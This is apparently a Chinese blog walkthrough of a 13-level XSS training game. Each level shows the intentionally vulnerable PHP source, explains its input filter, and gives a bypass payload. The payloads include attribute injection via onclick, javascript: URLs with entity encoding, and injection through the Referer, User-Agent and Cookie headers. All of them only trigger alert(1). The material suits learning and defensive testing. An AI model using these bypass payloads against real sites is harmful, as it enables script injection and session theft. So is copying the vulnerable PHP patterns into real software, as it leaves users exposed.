XSS闯关小游戏(level1~13)

level1

  • 源代码

    <?php 
    ini_set("display_errors", 0);
    $str = $_GET["name"];
    echo "<h2 align=center>欢迎用户".$str."</h2>";
    ?>
    

    通过源代码发现此关没有对输入的name值做任何过滤,直接echo出来

  • 寻找输入点和输出点

    image-20230203115953719

  • 构造payload

    <script>alert(1)</script>
    

    image-20230203120216007

level2

  • 源代码

    <?php 
    ini_set("display_errors", 0);
    $str = $_GET["keyword"];
    echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
    <form action=level2.php method=GET>
    <input name=keyword  value="'.$str.'">
    <input type=submit name=submit value="搜索"/>
    </form>
    </center>';
    ?>
    <center><img src=level2.png></center>
    <?php 
    

    此关使用了htmlspecialchars()函数---->把html标签转化为浏览器不能识别的字符,利用这个函数转化以后,html标签就可以在浏览器原样输出了。

  • 输入输出点

    image-20230203120955658

  • 构建payload

    1" οnclick="alert(1)
    

    image-20230203121107505

level3

  • 查看页面源代码

    <?php 
    ini_set("display_errors", 0);
    $str = $_GET["keyword"];
    echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>"."<center>
    <form action=level3.php method=GET>
    <input name=keyword  value='".htmlspecialchars($str)."'>
    <input type=submit name=submit value=搜索 />
    </form>
    </center>";
    ?>
    

    可以发现在<H2><input>处都使用了htmlspecialchars()函数

  • 输入输出点

    image-20230203121508053

  • 构建payload

    1' οnclick='alert(1)
    

    image-20230203121558601

level4

  • 查看页面源代码

    <?php 
    ini_set("display_errors", 0);
    $str = $_GET["keyword"];
    $str2=str_replace(">","",$str);
    $str3=str_replace("<","",$str2);
    echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
    <form action=level4.php method=GET>
    <input name=keyword  value="'.$str3.'">
    <input type=submit name=submit value=搜索 />
    </form>
    </center>';
    ?>
    

    此关使用str_replace()对用户输入进行了过滤,将<>替换成空

  • 输入输出点

    image-20230203121636805

  • 构建payload

    1" οnclick="alert(1)
    

    image-20230203121921887

level5

  • 查看源代码

    <?php 
    ini_set("display_errors", 0);
    $str = strtolower($_GET["keyword"]);
    $str2=str_replace("<script","<scr_ipt",$str);
    $str3=str_replace("on","o_n",$str2);
    echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
    <form action=level5.php method=GET>
    <input name=keyword  value="'.$str3.'">
    <input type=submit name=submit value=搜索 />
    </form>
    </center>';
    ?>
    

    此关使用str_replace()对用户输入进行了过滤,将<script替换成<scr_ipton替换成o_n。并使用strtolower()对用户输入数据进行小写转义

  • 查看输入输出

    image-20230204095825614

  • 构造payload

    1"><iframe src=javascript:alert(1)>
    

    image-20230204101607693

level6

  • 查看源代码

    <?php 
    ini_set("display_errors", 0);
    $str = $_GET["keyword"];
    $str2=str_replace("<script","<scr_ipt",$str);
    $str3=str_replace("on","o_n",$str2);
    $str4=str_replace("src","sr_c",$str3);
    $str5=str_replace("data","da_ta",$str4);
    $str6=str_replace("href","hr_ef",$str5);
    echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
    <form action=level6.php method=GET>
    <input name=keyword  value="'.$str6.'">
    <input type=submit name=submit value=搜索 />
    </form>
    </center>';
    ?>
    

    此关过滤了<scriptonsrcdatahref字符

  • 查看输入输出

    image-20230204102023045

  • 构造payload

    1" Onclick="alert(1)
    

    image-20230204102917574

level7

  • 查看源代码

    <?php 
    ini_set("display_errors", 0);
    $str =strtolower( $_GET["keyword"]);
    $str2=str_replace("script","",$str);
    $str3=str_replace("on","",$str2);
    $str4=str_replace("src","",$str3);
    $str5=str_replace("data","",$str4);
    $str6=str_replace("href","",$str5);
    echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
    <form action=level7.php method=GET>
    <input name=keyword  value="'.$str6.'">
    <input type=submit name=submit value=搜索 />
    </form>
    </center>';
    ?>
    

    此关过滤了<scriptonsrcdatahref字符,并且对用户输入进行小写转义

  • 查看输入输出

    image-20230204103203997

  • 构造payload

    1" oonnclick="alert(1)
    

    image-20230204103142629

level8

  • 查看源代码

    <?php 
    ini_set("display_errors", 0);
    $str = strtolower($_GET["keyword"]);
    $str2=str_replace("script","scr_ipt",$str);
    $str3=str_replace("on","o_n",$str2);
    $str4=str_replace("src","sr_c",$str3);
    $str5=str_replace("data","da_ta",$str4);
    $str6=str_replace("href","hr_ef",$str5);
    $str7=str_replace('"','&quot',$str6);
    echo '<center>
    <form action=level8.php method=GET>
    <input name=keyword  value="'.htmlspecialchars($str).'">
    <input type=submit name=submit value=添加友情链接 />
    </form>
    </center>';
    ?>
    <?php
     echo '<center><BR><a href="'.$str7.'">友情链接</a></center>';
    ?>
    

    此关过滤了scriptonsrcdatahref"字符,对用户输入进行小写转义

  • 查看输入输出

    image-20230204104349905

  • 构造payload

    # 尝试将敏感字符转换为HTML实体字符
    javascrip&#x74;:alert(1)
    

    image-20230204105619687

level9

  • 查看源代码

    <?php 
    ini_set("display_errors", 0);
    $str = strtolower($_GET["keyword"]);
    $str2=str_replace("script","scr_ipt",$str);
    $str3=str_replace("on","o_n",$str2);
    $str4=str_replace("src","sr_c",$str3);
    $str5=str_replace("data","da_ta",$str4);
    $str6=str_replace("href","hr_ef",$str5);
    $str7=str_replace('"','&quot',$str6);
    echo '<center>
    <form action=level9.php method=GET>
    <input name=keyword  value="'.htmlspecialchars($str).'">
    <input type=submit name=submit value=添加友情链接 />
    </form>
    </center>';
    ?>
    <?php
    if(false===strpos($str7,'http://'))
    {
      echo '<center><BR><a href="您的链接不合法?有没有!">友情链接</a></center>';
            }
    else
    {
      echo '<center><BR><a href="'.$str7.'">友情链接</a></center>';
    }
    ?>
    

    此关对用户输入进行小写转义,过滤了scriptonsrcdatahref"字符

    strpos()函数是用来查找字符串首次出现的位置,返回类型为int,但是如是找不到该字符,返回布尔型的false值。

  • 查看输入输出

    image-20230204112242837

  • 构造payload

    javasc&#x72;ipt:alert(1)//http://
    

    image-20230204112154010

level10

  • 查看源代码

    <?php 
    ini_set("display_errors", 0);
    $str = $_GET["keyword"];
    $str11 = $_GET["t_sort"];
    $str22=str_replace(">","",$str11);
    $str33=str_replace("<","",$str22);
    echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
    <form id=search>
    <input name="t_link"  value="'.'" type="hidden">
    <input name="t_history"  value="'.'" type="hidden">
    <input name="t_sort"  value="'.$str33.'" type="hidden">
    </form>
    </center>';
    ?>
    

    此关使用GET请求获取keyword的值,但无法使用keyword传值,尝试使用t_sort

    <>替换成空

  • 查看输入输出

    image-20230204113838265

  • 构造payload

    t_sort=1" type="text" onclick="alert(1) 
    

    image-20230204113815367

level11

  • 查看源代码

    <?php 
    ini_set("display_errors", 0);
    $str = $_GET["keyword"];
    $str00 = $_GET["t_sort"];
    $str11=$_SERVER['HTTP_REFERER'];
    $str22=str_replace(">","",$str11);
    $str33=str_replace("<","",$str22);
    echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
    <form id=search>
    <input name="t_link"  value="'.'" type="hidden">
    <input name="t_history"  value="'.'" type="hidden">
    <input name="t_sort"  value="'.htmlspecialchars($str00).'" type="hidden">
    <input name="t_ref"  value="'.$str33.'" type="hidden">
    </form>
    </center>';
    ?>
    

    根据源代码,此关只能使用HTTP_REFERER传值

  • 查看输入输出

    image-20230204114441280

  • 构造payload

    Referer:1" type="text" onclick="alert(1)
    

    image-20230204114542722

level12

  • 查看源代码

    <?php 
    ini_set("display_errors", 0);
    $str = $_GET["keyword"];
    $str00 = $_GET["t_sort"];
    $str11=$_SERVER['HTTP_USER_AGENT'];
    $str22=str_replace(">","",$str11);
    $str33=str_replace("<","",$str22);
    echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
    <form id=search>
    <input name="t_link"  value="'.'" type="hidden">
    <input name="t_history"  value="'.'" type="hidden">
    <input name="t_sort"  value="'.htmlspecialchars($str00).'" type="hidden">
    <input name="t_ua"  value="'.$str33.'" type="hidden">
    </form>
    </center>';
    ?>
    

    根据源代码,此关只能使用HTTP_USER_AGENT传值

  • 查看输入输出

    image-20230204115002808

  • 构造payload

    1" type="text" onclick="alert(1)
    

    image-20230204115049287

level13

  • 查看源代码

    <?php 
    setcookie("user", "call me maybe?", time()+3600);
    ini_set("display_errors", 0);
    $str = $_GET["keyword"];
    $str00 = $_GET["t_sort"];
    $str11=$_COOKIE["user"];
    $str22=str_replace(">","",$str11);
    $str33=str_replace("<","",$str22);
    echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
    <form id=search>
    <input name="t_link"  value="'.'" type="hidden">
    <input name="t_history"  value="'.'" type="hidden">
    <input name="t_sort"  value="'.htmlspecialchars($str00).'" type="hidden">
    <input name="t_cook"  value="'.$str33.'" type="hidden">
    </form>
    </center>';
    ?>
    

    根据源代码,此关只能使用COOKIE传值

  • 查看输入输出

    image-20230204115315586

  • 构造payload

    1" type="text" onclick="alert(1)
    

    image-20230204115358712

  • 1
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值